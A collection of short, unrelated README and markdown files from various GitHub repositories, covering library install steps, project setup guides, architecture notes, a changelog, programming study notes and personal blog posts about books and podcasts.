repo_name: Victoire/victoire


text:
# YGElfControl

[![CI Status](https://img.shields.io/travis/rays/YGElfControl.svg?style=flat)](https://travis-ci.org/rays/YGElfControl)
[![Version](https://img.shields.io/cocoapods/v/YGElfControl.svg?style=flat)](https://cocoapods.org/pods/YGElfControl)
[![License](https://img.shields.io/cocoapods/l/YGElfControl.svg?style=flat)](https://cocoapods.org/pods/YGElfControl)
[![Platform](https://img.shields.io/cocoapods/p/YGElfControl.svg?style=flat)](https://cocoapods.org/pods/YGElfControl)

## Example

To run the example project, clone the repo, and run `pod install` from the Example directory first.

## Requirements

## Installation

YGElfControl is available through [CocoaPods](https://cocoapods.org). To install
it, simply add the following line to your Podfile:

```ruby
pod 'YGElfControl'
```

## Author

rays<EMAIL_ADDRESS>
## License

YGElfControl is available under the MIT license. See the LICENSE file for more info.


text:
#### Prerequisites:
* Install Vagrant - [installation instructions](https://www.vagrantup.com/downloads.html)

#### Setting up Vagrant environment:
* Build the VM - run: `vagrant up`
* Login to VM - run: `vagrant ssh`
* Install Go - run: `/vagrant/scripts/install_go.sh`

#### Runnig Hello Go program
* Build the program - run: `go build /vagrant/hello.go`<br>
This will create an executable binary in your current directory
* Run the program - run: `./hello`

repository: kikitux/hellogo

repo_name: kikitux/hellogo


text:
# Package `executor`

This package deals with state management for P-Chain blocks.

## `*Block`

The `*Block` type implements the `snowman.Block` interface.
This is the type that the `platformvm` deals with when it uses `snowman.Block`s.
`*Block` wraps a `blocks.Block` and a `manager`.
The `*Block` itself doesn't have any state.
The state is all held by the `manager`, and the `*Block` acts upon the `manager` to get/set the state.
Therefore, we don't need to worry about deduplicating `*Block` instances.

The `platformvm` uses the `manager` to create blocks and query block state because
the `manager.GetBlock` returns a _stateful_ block (`*Block`), whereas `state.State`'s `GetStatelessBlock` returns a `blocks.Block`.

## Visitors

This package contains three implementations of `blocks.Visitor`: `verifier`, `acceptor` and `rejector`.
These implement the logic for verifying, accepting and rejecting blocks.
Each implementation has a reference to a shared `*backend`, which maintains state, etc.
(The `manager` has a reference to the shared `*backend` as well.)

repository: ava-labs/avalanchego

gha_language: Go

repo_name: ava-labs/avalanchego


text:
+++
title = "Books"
author = ["OPSXCQ"]
date = 2020-01-01
draft = false
+++

Bellow a curated list of books which I consumed in the recent past years, which
my thoughts on them.

## Machine Learning and Data Science books {#machine-learning-and-data-science-books}

### TensorFlow for deep learning : from linear regression to reinforcement learning (Ramsundar and Zadeh 2018) {#tensorflow-for-deep-learning-from-linear-regression-to-reinforcement-learning}

Overall is a subpar _hello world_ kind of book for `Tensorflow`, nothing but the
basics. Chapter 8 on _Reinforcement Learning_ has some nice examples which are
easy to be understood.

### Hands-On Neural Networks with TensorFlow 2.0: Understand TensorFlow, from static graph to eager execution, and design neural networks (Galeone 2019) {#hands-on-neural-networks-with-tensorflow-2-dot-0-understand-tensorflow-from-static-graph-to-eager-execution-and-design-neural-networks}

Is a book from _Packt_ but besides the bad reputation from this publisher, the
books is quite good, it touches some more practical subjects, as how to convert
a model to `Tensorflow.js` and some practical examples of using _Generative
Adversarial Networks_. Besides other _Packt_ books where chapters usually don't
maintain a context or narrative in between them, this book focus solely on image
related problems.

## Security {#security}

### Bug Bounty Hunting Essentials : Quick-paced guide to help white-hat hackers get through bug bounty programs (Lozano and Amir 2018) {#bug-bounty-hunting-essentials-quick-paced-guide-to-help-white-hat-hackers-get-through-bug-bounty-programs}

Chapter on _Basics of Bug Bounty Hunting_ can be skipped, just generic information
which you could do better by reading the official information of the platform of
your choice. The chapter _How to Write a Bug Bounty Report_ lacks real content and
better examples.

The only interesting point about the book starts on the chapters dedicated to
specific vulnerabilities, in which are discussed in details some vulnerabilities
found on famous services, like _Uber, Shopify, Binary.com_ among others.

## Electronics {#electronics}

### Programming with MicroPython : embedded programming with microcontrollers and Python (Tollervey 2017) {#programming-with-micropython-embedded-programming-with-microcontrollers-and-python}

Very high level view, basically a book with some _hello world_ examples which
didn't add any value. Lacks the full view and workflow of using such devices, it
focused mostly on `micro:bit`.

## References {#references}

Galeone, Paolo. 2019. Hands-on Neural Networks with Tensorflow 2.0. Vol. 1. Packt Publishing.

Lozano, Carlos A., and Shahmeer Amir. 2018. Bug Bounty Hunting Essentials: Quick-Paced Guide to Help White-Hat Hackers Get through Bug Bounty Programs. Vol. 1. Packt Publishing Ltd.

Ramsundar, Bharath, and Reza Bosagh Zadeh. 2018. Tensorflow for Deep Learning: From Linear Regression to Reinforcement Learning. {OReillyMedia.

Tollervey, Nicholas H. 2017. Programming with Micropython: Embedded Programming with Microcontrollers and Python. {OReillyMedia.

## Notes {#notes}

repository: opsxcq/blog

gha_language: Python

repo_name: opsxcq/blog


text:
# Changelog

We document all notable changes to this project in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [Unreleased]

## [0.2.0] - 2021-02-10

### Added

* Add support for JSONPath and JSONPath templates from our customization of
  [Paessler AG's implementation](https://github.com/PaesslerAG/jsonpath).

### Changed

* Restructure the module to use our standard `pkg` package structure.

## [0.1.0] - 2020-12-04

### Changed

* Renamed project to Leg.

[Unreleased]: https://github.com/puppetlabs/leg/compare/jsonutil/v0.2.0...HEAD
[0.2.0]: https://github.com/puppetlabs/leg/compare/jsonutil/v0.1.0...jsonutil/v0.2.0
[0.1.0]: https://github.com/puppetlabs/leg/compare/d290e8e835c3fa3ea4e93073bfe19e1958493d47...jsonutil/v0.1.0


text:
# netframework_clrloading collector

The netframework_clrloading collector exposes metrics about the dotnet loader.

|||
-|-
Metric name prefix  | `netframework_clrloading`
Classes             | `Win32_PerfRawData_NETFramework_NETCLRLoading`
Enabled by default? | No

## Flags

None

## Metrics

Name | Description | Type | Labels
-----|-------------|------|-------
`windows_netframework_clrloading_loader_heap_size_bytes` | Displays the current size, in bytes, of the memory committed by the class loader across all application domains. Committed memory is the physical space reserved in the disk paging file. | gauge | `process`
`windows_netframework_clrloading_appdomains_loaded_current` | Displays the current number of application domains loaded in this application. | gauge | `process`
`windows_netframework_clrloading_assemblies_loaded_current` | Displays the current number of assemblies loaded across all application domains in the currently running application. If the assembly is loaded as domain-neutral from multiple application domains, this counter is incremented only once. | gauge | `process`
`windows_netframework_clrloading_classes_loaded_current` | Displays the current number of classes loaded in all assemblies. | gauge | `process`
`windows_netframework_clrloading_appdomains_loaded_total` | Displays the peak number of application domains loaded since the application started. | counter | `process`
`windows_netframework_clrloading_appdomains_unloaded_total` | Displays the total number of application domains unloaded since the application started. If an application domain is loaded and unloaded multiple times, this counter increments each time the application domain is unloaded. | counter | `process`
`windows_netframework_clrloading_assemblies_loaded_total` | Displays the total number of assemblies loaded since the application started. If the assembly is loaded as domain-neutral from multiple application domains, this counter is incremented only once. | counter | `process`
`windows_netframework_clrloading_classes_loaded_total` | Displays the cumulative number of classes loaded in all assemblies since the application started. | counter | `process`
`windows_netframework_clrloading_class_load_failures_total` | Displays the peak number of classes that have failed to load since the application started. | counter | `process`

### Example metric
_This collector does not yet have explained examples, we would appreciate your help adding them!_

## Useful queries
_This collector does not yet have any useful queries added, we would appreciate your help adding them!_

## Alerting examples
_This collector does not yet have alerting examples, we would appreciate your help adding them!_


text:
# This is a testing folder!
Here we experiment with the language...

## Current usage:
I'll (@somerandomdev49) will explain how languages work to other members of the dev team.

## Order:
1. `lexing.py`
2. `parsing.py`
3. Evaluating, both can be done at the same time.
	1. `evaluating.py`
	2. `compiling/`

## Running:
To run a single module, go to the parent directory `pum/` and use the command:
```sh
python3 -m testing.<module>
```
You need to do this because otherwise the relative imports don't work.

repository: Preduniversariy-MAI/pum

repo_name: Preduniversariy-MAI/pum


text:
---
layout: flat
title: MAEC Community
---

Welcome to the MAEC Community! You have joined numerous colleagues from across the international cybersecurity community who have come together to help build this growing, open-source industry effort.

### Discussion Lists & Archives

The MAEC Community Email Discussion List is where community members discuss the latest drafts of the MAEC schemas, utilities, and other items integral to the ongoing development of MAEC.

* Email us at [maec<EMAIL_ADDRESS>to join and participate
* [Review the discussion archive](http://making-security-measurable.1364806.n2.nabble.com/MAEC-Malware-Attribute-Enumeration-and-Characterization-f4094903.html)

### MAEC Supporters

The MAEC Supporters page lists those vendors to-date that have implemented MAEC in their sandbox, virtualization sandboxing, static analysis, and/or threat intelligence platform products or services.

* Email us at [maec<EMAIL_ADDRESS>to add your product to the list
* [MAEC Supporters list](/community/supporters/)

### Encyclopedia of Malware Attributes

The Encyclopedia of Malware Attributes (EMA) mediawiki enables community collaboration to build our growing semantic mediawiki-based collection of malware capabilities, behaviors, and structural features, and their associated attributes.

* Email us at [maec<EMAIL_ADDRESS>to join and contribute
* [Encyclopedia of Malware Attributes](https://collaborate.mitre.org/ema/index.php/ema:Main_Page)

### Tool & Utility Development

The MAECProject GitHub Repositories are the central location for MAEC Community members to make open-source contributions to MAEC development and manage issue tracking for the MAEC schemas, utilities, and other supporting information and items.

* [MAECProject GitHub Repositories](https://github.com/MAECProject)

### Working Calls

The MAEC Community participated in teleconference working call meetings to participate in the development of [MAEC 5.0](/releases/5.0/), the current version of the Malware Attribute Enumeration and Characterization (MAEC™) Language, an archive of which is available for review.

* [MAEC working calls archive](/working-call/)

### Free Newsletter

Subscribe to our free MAEC Announce e-newsletter to receive news and project updates directly in your mailbox.

* Email us at [maec<EMAIL_ADDRESS>to subscribe

### Help

* [maec<EMAIL_ADDRESS>

gha_language: HTML


text:
# VS Code Markdown Grammar

VS Code markdown extension's Textmate grammar.

# Contributing
The main grammar is stored in `syntaxes/markdown.tmLanguage`. This file is generated from `markdown.tmLanguage.base.yaml`:

## Building
To generate the main grammar:

```bash
$ npm install
$ npm run build
```

## Testing
To run the grammar tests:

```bash
$ npm run test
```

repository: connorshea/vscode-markdown-tm-grammar

repo_name: connorshea/vscode-markdown-tm-grammar


text:
---
title: "How-to Guides"
linkTitle: "How-to Guides"
weight: 30
---

| Skaffold Workflow | |
|----------|---|
| [Builders](/docs/how-tos/builders) | How Docker images are built |
| [Testers](/docs/how-tos/testers) | How images are tested |
| [Taggers](/docs/how-tos/taggers) | How images are tagged |
| [Deployers](/docs/how-tos/deployers) | How your app is deployed to a Kubernetes cluster |
| [File sync](/docs/how-tos/filesync) | File sync for files that don’t require full rebuild |
| [Port forwarding](/docs/how-tos/portforward) | Port forwarding from pods |
| [Profiles](/docs/how-tos/profiles) | Define configurations for different contexts |
| [Templated fields](/docs/how-tos/templating) | Adjust configuration with environment variables |
| [Debugging (alpha)](/docs/how-tos/debug) | Enabling debugging of apps as deployed to a Kubernetes cluster |

repository: EdsonF/skaffold

repo_name: EdsonF/skaffold


text:
# A half-baked SDK for Azure in Go

This is a half-baked (ie. only provides what we needed) SDK for Azure in Go.

## Authentication

### Use an authentication file

This SDK also supports authentication with a JSON file containing credentials for the service principal. In the Azure CLI, you can create a service principal and its authentication file with this command:

``` bash
az ad sp create-for-rbac --sdk-auth > mycredentials.json
```

Save this file in a secure location on your system where your code can read it. Set an environment variable with the full path to the file:

``` bash
export AZURE_AUTH_LOCATION=/secure/location/mycredentials.json
```

``` powershell
$env:AZURE_AUTH_LOCATION= "/secure/location/mycredentials.json"
```

The file looks like this, in case you want to create it yourself:

``` json
{
    "clientId": "<your service principal client ID>",
    "clientSecret": "your service principal client secret",
    "subscriptionId": "<your Azure Subsription ID>",
    "tenantId": "<your tenant ID>",
    "activeDirectoryEndpointUrl": "https://login.microsoftonline.com",
    "resourceManagerEndpointUrl": "https://management.azure.com/",
    "activeDirectoryGraphResourceId": "https://graph.windows.net/",
    "sqlManagementEndpointUrl": "https://management.core.windows.net:8443/",
    "galleryEndpointUrl": "https://gallery.azure.com/",
    "managementEndpointUrl": "https://management.core.windows.net/"
}
```

repository: jessfraz/junk

repo_name: jessfraz/junk


text:
This repository contains various scripts to collect data about development of open sources projects.

Used mainly to get metrics of Apache projects but can be used for any Github organization.

Most of the subcommands use a simple (file-based) key-value store to get and update the raw data (incrementally) and a
separated command to extract data to csv/parquet files.

Examples:

Downloading Github stats:

```
export GITHUB_TOKEN=...
opm github update repo --org=...

#pr information
opm github update pr
opm github extract pr

#commits
opm github update checkout
opm github extract checkout

```

Downloading mailing list stats:

```
#For private lists use export PONYMAIL_COOKIE=...

#Use filter if you are not interested about all mail lists
opm ponymail getlists --filter=ozone.apache.org

#Download raw data
opm ponymail update

#Extract csv files
opm ponymail extract
```

Downloading Jira information

```
opm jira update issue
opm jira extract issue
```

repository: elek/opm

repo_name: elek/opm


text:
# Github pages documentation

The API documentation is built from groovydoc comments
via the gradle task `groovydoc` into the directory `gh-pages`
and the Github branch `gh-pages`. This is accessible at:

    https://ncar.github.io/groovy-ncar-extensions/

## Simple setup

Skip the long discussion below, and just checkout
a copy of the gh-pages branch into a gh-pages subdirectory
in the main clone top-level.

    git clone -b gh-pages git@github.com:NCAR/groovy-ncar-extensions.git gh-pages
    cd gh-pages
    git remote set-head origin gh-pages
    git remote set-branches origin gh-pages

During development, when a new version is deployed,
also run the Gradle task `gh-pages` to generate new docs.
Then change to the gh-pages subdir and add/commit the changes.
Finally, push gh-pages direct to github.

(Submodules may be explored in the future, but for the
moment we will keep a simpler deployment workflow.)

We recommend that you do not checkout the gh-pages branch
in the main level of your repo. Deleting and creating so many
files may cause performance issues or unintended side-effects.

## Intro

The workflow is based on this author's personal site,
documented in that [blog](http://haxx.sinequanon.net/2016/08/gh-pages-setup/).
The basic process is repeated here, but may actually
be more complicated than necessary. It is hard to get
changes from github pulled into the gh-pages branch
of the main checkout and then into the gh-pages subdir.

## Setup

Github should already be setup. As a new documentation developer,
you need to setup the `gh-pages` directory as a clone of the
`gh-pages` branch. From the top-level directory of your clone
of this repository, run the following commands:

    git clone -b gh-pages . gh-pages
    cd gh-pages
    git remote set-head origin gh-pages
    git remote set-branches origin gh-pages
    cd ..
    git config push.default matching

## Workflow

Updating the code and the docs are separate operations.
Commit and merge all your code and groovydoc-comment changes
with normal development workflows.
When a Github "release" is made (just a git tag of your version),
then also update the docs.

First, be sure your repo is checked-out to the latest tag or version
that is being documented. You may optionally run the gradle task
`groovydoc` and review the output.

If something goes wrong, just manually edit as needed.

repository: NCAR/groovy-ncar-extensions

repo_name: NCAR/groovy-ncar-extensions


text:
# Bot to get users/chats IDs in Telegram

Give it a try: [@my_id_bot](https://t.me/my_id_bot).

This is a simple bot written with [aiogram 3.x](https://github.com/aiogram/aiogram) framework to show some IDs, like:

* Your user ID (when asked in inline mode or in private chat with any message);
* Group/supergroup ID (when added to that group or with /id command);
* Channel ID (when message forwarded from channel to one-to-one chat with bot);
* Supergroup ID (when message forwarded from anonymous group admin);
* Topic ID for [forum supergroups](https://telegram.org/blog/topics-in-groups-collectible-usernames#topics-in-groups);
* Sticker ID (they can be re-used with any bot);
* Group to supergroup migrate information (both old and new ID).

## Requirements:
* Python 3.9 and newer;
* Linux (should work on Windows, but not tested);
* Systemd init system (optional).
* Docker (optional).

## Installation:

### Just to test (not recommended)
1. Clone this repo;
2. `cd` to cloned directory and initialize Python virtual environment (venv);
3. Activate the venv and install all dependencies from `requirements.txt` file;
4. Copy `env_example` to `.env` (with the leading dot), open `.env` and edit the variables;
5. In the activated venv: `python -m bot`

### Systemd
1. Perform steps 1-4 from "just to test" option above;
2. Copy `my-id-bot.example.service` to `my-id-bot.service` (or whatever your prefer), open it and edit `WorkingDirectory`
and `ExecStart` directives;
3. Copy (or symlink) that service file to `/etc/systemd/system/` directory;
4. Enable your service `sudo systemctl enable my-id-bot --now`;
5. Check that service is running: `systemctcl status my-id-bot` (can be used without root privileges).

### Docker + Docker Compose
1. Get `docker-compose.example.yml` file and rename it as `docker-compose.yml`;
2. Get `env_example` file, rename it as `.env` (with the leading dot), open it and edit the variables;
3. Run the bot: `docker compose up -d`;
4. Check that container is up and running: `docker compose ps`

repository: MasterGroosha/my-id-bot

repo_name: MasterGroosha/my-id-bot


text:
---
layout: post
title: Newsletter
subtitle: May 2022
cover-img: /assets/img/MBnewsletter.png
tags: [MB, newsletter]
---

The [May issue](https://mailchi.mp/9d59dfc5cd41/mb-newsletter-may-2022?e=121b29a6d4) of the ManyBabies newsletter is out!

In this issue you'll find a reminder to vote in our election to select two new members of the Governing Board, info about upcoming events (including our now-monthly Office Hours), and project updates.

If you're subscribed to an MB listserv, you should have received the newsletter in your inbox (please [email<EMAIL_ADDRESS>if that's not the case). To subscribe for future issues, click [here](https://t.co/7zxifYO7qN?amp=1).


text:
# Overview

Filscan is a blockchain browser for Filecoin, which can be used to view Filecoin blockchain data, including querying addresses, messages information, block heights, miner information, token information, etc.

# Table of Contents
- [Overview](#overview)
- [Table of Contents](#table-of-contents)
- [Front-End](#front-end)
- [Back-End](#back-end)
  - [Build and Install](#build-and-install)
    - [Environment](#environment)
    - [System Require](#system-require)
    - [Build](#build)
    - [Configuration](#configuration)
    - [Run](#run)
  - [API Document](#api-document)
  - [License](#license)

# [Front-End](https://github.com/ipfs-force-community/filscan-frontend)

# Back-End

## Build and Install

### Environment

- golang >= v1.13
- mongo >= v4.2
- lotus >= v0.2.7

### System Require

- Linux or Mac OS

### Build
```
git clone (githuburl)

cd Backend

make build-lotus

go build
```
### Configuration

Edit app.conf in path /conf and set the correct parameter
```
mongoHost = "<IP_ADDRESS>:27017"

mongoUser = "root"

mongoPass = "admin"

mongoDB   = "filscan"

lotusGetWay="<IP_ADDRESS>:1234"
```
### Run

Make sure mongo and lotus is active, and run the filscan_lotus
```
./filscan_lotus
```
The application will check lotus and mongo’s status. The application will stop if got any error from them. If application start success, it will work until sync all data down from lotus.

## API Document

Check document [here](Filscan_Interface_v1.0.md)

## License
Dual-licensed under

[MIT](https://github.com/filecoin-project/lotus/blob/master/LICENSE-MIT)

[Apache 2.0](https://github.com/filecoin-project/lotus/blob/master/LICENSE-APACHE)

repository: wuzhanfly/filscan-backend

repo_name: wuzhanfly/filscan-backend


text:
Proton
======

> The documentation is available [here](https://projects.jpeer.at/proton/)

Proton is an easily customizable html5 particle engine including six different types of renderers.

Check out examples at http://a-jie.github.io/Proton/

## Features
- Six kinds of renderers
  - canvas
  - dom
  - webgl
  - easeljs
  - pixel
  - pixijs
- Create cool effects like the demo of 71squared's ParticleDesigner in 10 lines of code.
- Integratable into any game engine
- Veriety of behaviors
- Three kinds of emitters which can simulate many different physical effects
- The __3D version__ of the proton engine is here [https://a-jie.github.io/three.proton/](https://a-jie.github.io/three.proton/)

## Installation

#### Install using npm
[![anix](https://nodei.co/npm/proton-js.png)](https://npmjs.org/package/proton-js)

```
npm install proton-js --save
...
import Proton from 'proton-js';
```

#### Include in html
```
<script type="text/javascript" src="js/proton.min.js"></script>
```

## Usage
```javascript
var proton = new Proton();
var emitter = new Proton.Emitter();

//set Rate
emitter.rate = new Proton.Rate(Proton.getSpan(10, 20), 0.1);

//add Initialize
emitter.addInitialize(new Proton.Radius(1, 12));
emitter.addInitialize(new Proton.Life(2, 4));
emitter.addInitialize(new Proton.Velocity(3, Proton.getSpan(0, 360), 'polar'));

//add Behaviour
emitter.addBehaviour(new Proton.Color('ff0000', 'random'));
emitter.addBehaviour(new Proton.Alpha(1, 0));

//set emitter position
emitter.p.x = canvas.width / 2;
emitter.p.y = canvas.height / 2;
emitter.emit();

//add emitter to the proton
proton.addEmitter(emitter);

// add canvas renderer
var renderer = new Proton.Renderer('canvas', proton, canvas);
renderer.start();

//use Euler integration calculation is more accurate (default false)
Proton.USE_CLOCK = false or true;
```

## Building Proton
Node is a dependency, use terminal to install it with with:
`git clone git://github.com/a-jie/Proton.git`

Then navigate to the build directory by running:

```
cd ./build
node build.js
```

Or use npm script
```
npm run build
```

## Changelog
Detailed changes for each release are documented in the [release notes](https://github.com/a-jie/Proton/releases).

## License
Proton is released under the MIT License. http://www.opensource.org/licenses/mit-license


text:
Food
====

Parser of On-Campus Preferred Specials

Uses the mysqlParser.py file to parse location, food category, and food item strings from websites (using pyQuery), and then sends them off to a mySQL database (using mySQLdb). Then the menu.php page grabs that information and displays it.

Author: Madison Flaherty
Email<EMAIL_ADDRESS>Date: March 14, 2014

repository: madisonflaherty/Food

repo_name: madisonflaherty/Food


text:
## The Event loop
### Ways to call a function
- Function-style `fun(arg1, arg2)`
  - `this` is global
  - Call backs are almost always called in this style
  - You can use arrow functions to make function-style calls to use the objects scope
- Method-style `obj.method(arg1, arg2)`
  - `this` is set to `obj`
- constructor-style `new ClassName(arg1, arg2)`
  - Creates a new object, this is one way to set up classes
  - `this` is set to the blank object
### Less common ways
#### Apply
`Function.prototype.apply`
- Takes two arguments
  - an object to bind `this` to
  - an array of arguments to be passed to the method apply is being called on
- This allows you to call a function and give it access to variables that would have been outside of its scope
#### Call
- Very similar to apply but in taking in an array of params it takes in them individually
## Intro to Callbacks: File I/O
### A callback is a function that is passed to another function as an argument
- A closure is a callback that uses outside variables
### JS is Asynchronous
- An **asynchronous** function doesn't wait for work to be completed, it schedules work to be done in the background
- Asynchronous functions tend to be used when work may take a variable amount of time:
  - Timers
  - Background web requests (AJAX)
  - Events
- The flip side of this is **synchronous** functions
  - Ruby's `sleep` method is an example of a synchronous function
  - These functions always take the same amount of time to run
### Node I/O is Asynchronous
- JS's version of `puts` and `gets` are `console.log` and `prompt` and `readline`
  - `prompt` will open a pop up message box to ask the user for input
	- It is not avaliable when running in the node.js environment
  - `readline` will ask for user input more like `gets`
	- `readline` comes with a `question` method that can prompt the user for input
	- `question` is asynchronous and will not wait for input and return immediately
	- It is only after the user has inputted a response that the callback is called
**Asynchronous functions do not return meaningful values: we give them a callback so that the result of the async operation can be communicated back to us**
  - If we want to stop accepting input we have to explicitly call 'reader.close()'
## Classes
- There is a newer way to create classes, that was introduced with ES2015, that allows for classes to be created in a way that is much more familiar
```javascript
class Bicycle {
  consructor(model, color) {
    this.model = model;
	this.color = color;
  }

  action() { // This is a prototype method (instance method)
    return "rolls along";
  }

  static parade() { //This is similar to a class method
  }
}
```
## Node Module Pattern
- Node modules allow you to split up your code into different files
- They work differently than ruby
- You have to name an object to hold the value of the imported object
```javascript
// ./cat.js
class cat {
}
module.exports = Cat;
// ./dog.js
class dog {
}
module.exports = Dog;
// ./animals.js
const Cat = require("./cat");
const Dog = require("./dog"
const cat = new Cat();
const dog = new Dog();
```
- Normally required files will import classes
- Node's require doesn't import the module's global scope
**You will need to set require to a variable and access that variable to access the module**
### Importing multiple classes into one file
- You can do this by pointing `require` at a directory
- This file will need an index to tell the importing file the files it needs to look for and where they are
- This will then be assigned to a variable in the importing file
  - This variable is called a **namespace**

repository: hegelocampus/notes

repo_name: hegelocampus/notes


text:
This Visual Studio 2017 extension adds a new file type (.efmodel) that allows for fast, easy and, most importantly, **visual** design
of persistent classes. Inheritance, unidirectional and bidirectional associations are all supported. Enumerations are also included in
the visual model, as is the ability to add text blocks to explain potentially arcane parts of your design.

<img src="https://raw.githubusercontent.com/wiki/msawczyn/EFDesigner/images/Designer.jpg">

While giving you complete control over how the code is generated you'll be able to, out of the box, create sophisticated,
consistent and **correct** Entity Framework code that can be regenerated when your model changes. And, since the code is written using
partial classes, any additions you make to your generated code is retained across subsequent generations.

If you are used to the EF visual modeling that comes with Visual Studio, you'll be pretty much at home. The goal was to duplicate
at least those features and, in addition, add all the little things that _should_ have been there. Things like:

*   the ability to show and hide parts of the model
*   easy customization of generated output by editing or even replacing the T4 templates
*   entities by default generated as partial classes so the generated code can be easily extended
*   class and enumeration nodes that can be colored to visually group the model
*   different concerns being generated into different subdirectories (entities, enums, dbcontext)
*   string length, index flags, required attributes and other properties being available in the designer

and many other nice-to-have bits.

For comprehensive documentation, please visit [the project's documentation site](https://msawczyn.github.io/EFDesigner/).

**ChangeLog**

<IP_ADDRESS>

*   If no entities and model is using an unsupported inheritance strategy, changing from EF6 to EFCore doesn't give a message, just changes the strategy.
*   Added IsFlags attribute (and matching validations and behavior) to Enums
*   NGENed extension assembly

<IP_ADDRESS>

*   Fixed project item placement
*   Added change checks to diagram so dirty flag doesn't set when nothing changes

<IP_ADDRESS>

*   Emergency bug fixes

<IP_ADDRESS>

*   Fixed parser errors when editing model attributes as text
*   Fixed error when auto-generating on save and design surface is not the active window
*   Fixed crash when used on non-English-language systems (where Microsoft Pluralization Service is unavailable)
*   Added option to generate warnings if no documentation
*   Standardized warning and error message structure
*   Added ability to choose 'None' DatabaseInitializer type; generates SetInitializer(null)

<IP_ADDRESS>

*   Enhanced portability between EF6 an EFCore

<IP_ADDRESS>

*   Adds some T4 fixes to make generated code more usable in [ASP.NET](http://ASP.NET/) Core applications.
*   Fix to spurious error when copying/pasting enum elements.
*   First release that's available on Visual Studio Marketplace.

repository: Oryx-wa/EFDesigner

path: /VSMarketplace blurb.md

filename: VSMarketplace blurb.md

repo_name: Oryx-wa/EFDesigner


text:
---
layout: post
title: My Favorite Podcasts
published: true
---
## I've recently gotten back into podcasts...

I've recently gotten back into podcasts, and I started listening to them during commutes and while working on other things. It's a nice way to keep updated on current events while doing other things or just taking a nice break. I use the [Pocket Casts](http://www.shiftyjelly.com/pocketcasts/) app to listen to podcasts on the go.

Here are a few of my favorites at the moment, and I'll update this list if anything changes. These are in no particular order.

### [99% Invisible](http://99percentinvisible.org/)

A series about design and it's influence and presence in our lives all around us.

### [From Scratch](http://www.npr.org/series/126166186/from-scratch)

An NPR series where founders/owners/other really cool people just talk about their lives and their work.

### [Inside the DesignLab](http://supplyframe.com/designlab)

A series where hardware developers talk about their projects and work.

### [The Changelog](https://changelog.com/podcast)

A series that talks about open source projects and their progress, usually with a member of the project's core team.

### [The Vergecast](https://art19.com/shows/vergecast)

I know people love to hate on The Verge, but this series isn't a terrible way for keeping updated on consumer technology/electronics.

### [We're Alive - A "Zombie" Story of Survival](http://www.werealive.com/)

This one is just for fun, a nice little story which I thought was cool and could get into.

## Others I've been meaning to check out...

There are other podcasts I've been meaning to checkout because I've heard good things about them, but I don't have the time to keep updated on too many more series at once. These include:

- [a16z](http://a16z.com/podcasts/)

- [Acquired](http://www.acquired.fm/)

- [Design Details](https://spec.fm/podcasts/design-details)

- [Developer Tea](https://spec.fm/podcasts/developer-tea)

- [Does Not Compute](https://spec.fm/podcasts/does-not-compute)

- [First 200 Days](http://www.forbes.com/podcasts/first-200-days/#26042e5de5dd)

- [How I Built This](http://www.npr.org/podcasts/510313/how-i-built-this)

- [Immutable](https://spec.fm/podcasts/immutable)

- [Layout](http://layout.fm/)

- [Millennial](http://www.millennialpodcast.org/)

- [On Taking Pictures](http://5by5.tv/otp)

- [Serial](https://serialpodcast.org/)

- [StartUp Podcast](https://gimletmedia.com/startup/)

- [TED Radio Hour](http://www.npr.org/programs/ted-radio-hour/?showDate=2016-12-30)

- [The Critical Path](http://5by5.tv/criticalpath)

- [Tiny Desk Concerts](http://www.npr.org/series/tiny-desk-concerts/)

- [Well, Technically](http://www.forbes.com/podcasts/well-technically/#3786503a4b33)

repository: shetyeshail/blog

repo_name: shetyeshail/blog


text:
# React in SWC via JsInterop

This is a brief guide to show how to use JsInterop to render a React component from the Synapse React Client in this GWT app.

## Pre-Tasks
This guide assumes:
 * that your React component is complete
 * your component is exported in the UMD bundle in SRC.
 * the correct version of SRC has been specified in [package.json](../package.json)
 * you've created GWT Widget with a View class that will handle your React Component

## Tasks

Using JsInterop to call your React component can be summarized in these basic steps:
1. Create a class to represent your components' props
1. Add your component to the SRC JsInterop type
1. Add a ReactComponentDiv to your View
1. In the View, use React and ReactDOM to render the element.

### Create a Prop Class

Create a class in `org.sagebionetworks.web.client.jsinterop` that matches your prop type. You want to ensure that the class is annotated with `@JsType`, which will ensure that the class is compatible with the JavaScript runtime environment. Your class should also extend [ReactComponentProps](../src/main/java/org/sagebionetworks/web/client/jsinterop/ReactComponentProps.java), which just nominally indicates that this class is used to represent a JsInterop prop type.

As a convention, we implement a static `create` method on these types to make it easier to instantiate an object. These methods have the `@JsOverlay` annotation. `@JsOverlay` methods are only callable from Java, so you could do light validation here, but note some JsInterop constraints are still present.

For an example, see [EvaluationCardProps](../src/main/java/org/sagebionetworks/web/client/jsinterop/EvaluationCardProps.java)

### Expose your component in SRC via JsInterop

The [SRC class](../src/main/java/org/sagebionetworks/web/client/jsinterop/SRC.java) represents the Synapse React Client UMD bundle. Assuming your component is bundled in `SynapseComponents`, add your component as a static field.

Make sure you specify your prop type in the type parameter, and also make sure that your object name exactly matches the named export in `SynapseComponents`.

### Add a ReactComponentDiv to your View

While you can append your React component to any element, we have a [ReactComponentDiv](../src/main/java/org/sagebionetworks/web/client/widget/ReactComponentDiv.java) widget that methods specifically for unmounting and rerendering a React component. Add this to your View in code or `*.ui.xml` file, and make sure you can reference it for the next step.

### Render the element

How you manage updating your widget's view will vary based on the scenario, but when you're ready to render the component, this is all you have to do:

```java
class MyView {
    void render() {
        MyProps props = props.create(/**/);
        ReactElement reactElement = React.createElement(SRC.SynapseComponents.MyComponent, props);
        ReactDOM.render(reactElement, reactComponentDiv.getElement());
    }
}
```

The React component will render when `MyView.render` is invoked.

If you need to render the component asynchronously, e.g. before a modal is shown, you can use the `ReactDOM.render` overload:
```
ReactDOM.render(reactElement, reactComponentDiv.getElement(), () -> modal.show());
```

## Notes and Pain Points

* You should try to use JsInterop whenever possible, but in some cases you may have to use JSNI. See Resources to get an idea of what some of the constraints may be
* Java 8+ lambdas cannot be used in JsInterop code. See [issue](https://github.com/gwtproject/gwt/issues/9354).

## Resources

* [JsInterop // GWT Docs](http://www.gwtproject.org/doc/latest/DevGuideCodingBasicsJsInterop.html)
* [JsInterop Cookbook](https://github.com/google/j2cl/blob/master/docs/jsinterop-by-example.md)

repository: emmanmills/SynapseWebClient

branch_name: refs/heads/develop

repo_name: emmanmills/SynapseWebClient


text:
---
layout: post
title: Week 2 - Servers, Streams and Promises
---

